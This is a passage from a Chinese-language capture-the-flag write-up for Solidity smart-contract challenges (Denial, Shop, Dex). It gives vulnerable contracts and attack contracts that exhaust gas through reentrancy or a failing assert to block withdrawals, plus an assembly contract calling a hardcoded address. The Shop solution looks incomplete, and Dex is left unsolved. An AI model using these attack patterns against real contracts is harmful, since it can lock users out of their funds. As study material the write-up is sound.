// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

要求我们让其他人无法提款。分析一下合约

从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);

function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}

function () payable public {
target.withdraw();
}
}

或者assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了

1
2
3
4
5
6
7
8
9
10
11
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
assert(0==1);
}
}

image-20210626164122137

0x16 Shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}

题目要求少于指定价格得到商品,price<100

发现 isSoldpublic 属性,所以可以利用 isSold ,根据 isSold 进行判断,两次调用 _buyer.price.gas(3000)() 第一次返回大于等于 100 ,第二次返回小于 100 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.8.0;

contract AttackShop {

function buy() public {

assembly {

// Call Shop.buy()
mstore(0x20, 0xa6f2ae3a00000000000000000000000000000000000000000000000000000000) /* selector(buy()) */
let success := call(100000, 0x81204a9d43123Df65D6089f4bF7493E43c1868b9, 0, 0x20, 0x04, 0x00, 0x00)
if iszero(success) {
revert(0, 0)
}
return(0, 0x0)
}
}


}

image-20210626174120276

0x17 Dex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';

contract Dex {
using SafeMath for uint;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_price(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}

function add_liquidity(address token_address, uint amount) public{
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function get_swap_price(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
function approve(address owner, address spender, uint amount) public returns(bool){
super._approve(owner, spender, amount);
}
}

对不起这道题还得做一段时间,如果做出来了再更新吧